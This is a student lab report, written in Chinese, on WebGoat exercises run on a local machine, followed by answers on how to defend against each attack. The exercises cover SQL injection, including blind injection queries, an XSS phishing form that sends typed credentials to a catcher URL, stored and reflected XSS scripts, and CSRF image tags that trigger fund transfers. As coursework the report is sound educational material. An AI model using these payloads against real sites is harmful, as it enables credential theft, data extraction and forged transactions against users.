Exp9 Web安全基礎html
1、實踐目標java
SQL注入攻擊web
XSS攻擊安全
CSRF攻擊服務器
2、實踐過程cookie
1.環境配置:網絡
下好jar包而後放在根目錄下mvc
使用:java -jar *.jar就能夠解壓運行webgoat了!xss
2.使用webgoat:post
打開Firefox,輸入http://127.0.0.1:8080/WebGoat/login.mvc訪問webgoat
SQL注入攻擊:
Numeric SQL Injection:
要求注入字符串而後能夠訪問全部的天氣狀況:
這裏修改一下網頁源代碼就行了,隨便選個城市而後修改他的value值,添加or 1=1 便可;
String SQL Injection:
要求做爲smitn而後查看全部的信用卡信息:
輸入or 1=1 --
--是註釋掉後面的代碼。
LAB: SQL Injection:
第一步:
字符串注入:要求不使用正確密碼就能夠登錄管理員的帳戶,和前面同樣,可是咱們要先修改網站源代碼
使其在password一項中能夠輸入足夠長:
而後構造真式便可
第三步:
Numeric SQL Injection:
先使用第一步的辦法登錄員工的帳戶,而後再員工帳戶裏點擊查看按鈕時查看管理員用戶的信息
咱們先看看這個老闆帳戶的值是排在表的最後:
而後就能夠經過修改id爲101 or 1=1order by salary desc這個語句來倒序查詢下一個用戶信息;
下圖就是修改位置,原本一開始想直接修改爲老闆的id可是不成功;
成功圖:
Blind Numeric SQL Injection:
數字盲注:要求就是經過輸入框輸入語句去查找到pins表裏pin的值是多少:
由於這裏在輸入框裏輸入語句能夠進行判斷,會給出判斷結果,因此使用
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2500);
而後慢慢縮小範圍便可:
找到最後的結果爲2364:
Blind String SQL Injection:
和數字盲注差很少,這裏是找字符串,語句就有所變化:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
意思是查找這個name的第一個字符的值是否是h
這裏有大小寫區分,而後改變第一個1所在位置的值就是改變查找的字符串的字符位置;
第一個字符爲J
第二個爲i
XSS攻擊:
跨站腳本釣魚攻擊(Phishing with XSS)
(1)題目要求是關於一個頁面中存在XSS漏洞時,如何支持釣魚攻擊。要求咱們利用xss和html注入達到這些目標。
(2)使用XSS和HTML插入製做一個釣魚網站,將其輸入在search框中,代碼以下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR
(3)輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
LAB: Cross Site Scripting
存儲型XSS
(1)執行存儲型跨站腳本攻擊,以「Tom」身份登陸網站,修改我的信息。驗證用戶「Jerry」會受到攻擊。每一個賬號的密碼是用戶明名字的小寫(如:Tom的密碼是tom)
(2)以用戶名「Tom」密碼tom登陸,選擇Tom,點擊「View Profile」按鈕。如今可 以看到Tom的我的信息。點擊「Edit Profile",在「Street」一欄中進行XSS攻擊。加入以下代碼,點擊「UpdateProfile": <script>alert("haha");</script>
(3)退出登陸,以用戶名Jerry,密碼ferry登陸,選擇瀏覽Tom的信息,會彈出以下注入腳本,攻擊成功
Stored XSS Revisited
驗證Bruce的我的簡介中包含有XSS攻擊,使用David用戶登陸,查看Bruce的我的簡介,出現彈窗,代表存在XSS攻擊。
Reflected XSS
(1)使用僱員搜索頁面漏洞構造一個包含反射型XSS攻擊代碼的URL。驗證另外一位僱員訪問該URL會受影響。
(2)以用戶名Tom,密碼tom登陸。點擊「SearchStaff",在搜索框中,添加以下一段代 碼便可完成: <script>alert("XSS");<script>
Stored XSS Attacks(存儲式 XSS 攻擊)
(1)目標是建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
(2)在title中任意輸入字符。在內容中輸入如下代碼: <script>alert("XSS");</script>
(3)點擊「hellworld",這就好比剛建立的帖子,由本身或者其餘人瀏覽,而後會彈出一個對話框,證實XSS攻擊成功
Reflected XSS Attacks(反射型XSS)
(1)1.當咱們輸入錯誤的用戶信息後,服務器校驗輸入有誤,會返回錯誤頁面並將錯誤內容展現給咱們看
(2)若是將帶有攻擊性的URL做爲輸入源,好比,就會彈出對話框 <script>alert("helloworld");</script>
Cross Site Request Forgery (CSRF):
要求:CSRF經過假裝來自受信任用戶的請求來利用受信任的網站。目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。
在這節課中,URL應該指向「攻擊」servlet,
其中包含了「屏幕」和「菜單」參數,以及一個額外的參數「transferFunds」,它具備任意的數值。
這裏其實就說明了編寫規則,只要查看網頁上給出的scr和menu的值便可:
標題隨便,在內容裏寫<imgsrc="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=20000"/>
而後提交,打開消息就好了:
CSRF Prompt By-Pass:
要求:輸入代碼,第一個爲轉賬的請求,第二個請求確認第一個請求觸發的提示
根據提示來編寫,也是須要查看網頁的幾個值:
而後編寫成下面的代碼便可:
<img src="attack?Screen=1471017872&menu=900&transferFunds=6000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
CSRF Token By-Pass:
也是要求編寫代碼,構造好了,而後發送,點擊便可
3、實驗後回答問題
(1)SQL注入攻擊原理,如何防護
1.對漏洞注入點相關代碼進行處理,篩除特殊字符,以規範代碼安全性;
2.關閉或刪除沒必要要的交互式提交表單頁面;
3.普通用戶與系統管理員用戶的權限要有嚴格的區分;
4.不要在服務器端放置備份的文件以避免受到感染,或備份的文件含有漏洞,形成切入點。
(2)XSS攻擊的原理,如何防護
1.網站開發者運用轉義安全字符等手段,而且堅持不相信用戶輸入的任何數據的原則
2.表單提交的時候進行特殊字符的檢測
3.對輸入框作長度限制
4.在後臺對數據進行過濾
(3)CSRF攻擊原理,如何防護
1.使用令牌,每個網頁包含一個web server產生的令牌,提交時,也將該令牌提交到服務器,服務器進行判斷,若是令牌不符合,就斷定存在CSRF攻擊;
2.將提交方法改成post,或將 GET請求設置爲只瀏覽而不改變服務器端資源
3.按期清理cookie
4.使用隨機數對錶單中的值進行驗證
4、實驗總結
經過本次實驗,加深了我對XSS攻擊、SQL注入以及CSRF攻擊的理解。雖然一開始下載jar包就用了很長時間,但對於行不通的方法真的要好好找資料換其餘可行的方法,實踐不止侷限於課程中的指導,不斷地查資料會讓本身瞭解的更全面。
最後一次實驗到這裏就結束了,不過對安全的探究應該纔剛剛開始,在經歷了一個學期的技術課程學習後,收穫挺大的,網絡安全不知道算不算入門。
感謝老師的教學與指導!